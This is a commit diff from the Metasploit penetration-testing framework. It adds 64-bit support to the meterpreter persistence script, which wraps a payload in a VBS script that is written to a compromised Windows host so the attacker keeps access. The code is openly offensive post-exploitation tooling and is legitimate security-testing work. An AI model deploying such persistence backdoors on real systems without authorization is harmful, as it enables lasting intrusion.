Land rapid7#5190, 64-bit meterpreter persistence script

Author: Brent Cook

lib/msf/util/exe.rb

@@ -1121,6 +1121,10 @@ def self.to_win32pe_vbs(framework, code, opts = {})
     to_exe_vbs(to_win32pe(framework, code, opts), opts)
   end
 
+  def self.to_win64pe_vbs(framework, code, opts = {})
+    to_exe_vbs(to_win64pe(framework, code, opts), opts)
+  end
+
   # Creates a jar file that drops the provided +exe+ into a random file name
   # in the system's temp dir and executes it.
   #

scripts/meterpreter/persistence.rb

@@ -72,13 +72,23 @@ def create_payload(payload_type,lhost,lport)
 
 # Function for Creating persistent script
 #-------------------------------------------------------------------------------
-def create_script(delay,altexe,raw)
-  if altexe
-    vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
-                                          {:persist => true, :delay => delay, :template => altexe})
+def create_script(delay,altexe,raw,is_x64)
+  if is_x64
+    if altexe
+      vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
+                                            {:persist => true, :delay => delay, :template => altexe})
+    else
+      vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
+                                            {:persist => true, :delay => delay})
+    end
   else
-    vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
-                                          {:persist => true, :delay => delay})
+    if altexe
+      vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
+                                            {:persist => true, :delay => delay, :template => altexe})
+    else
+      vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
+                                            {:persist => true, :delay => delay})
+    end
   end
   print_status("Persistent agent script is #{vbs.length} bytes long")
   return vbs
@@ -224,7 +234,7 @@ def install_as_service(script_on_target)
 print_status("Resource file for cleanup created at #{@clean_up_rc}")
 # Create and Upload Payload
 raw = create_payload(payload_type, rhost, rport)
-script = create_script(delay, altexe, raw)
+script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
 script_on_target = write_script_to_target(target_dir, script)
 
 # Start Multi/Handler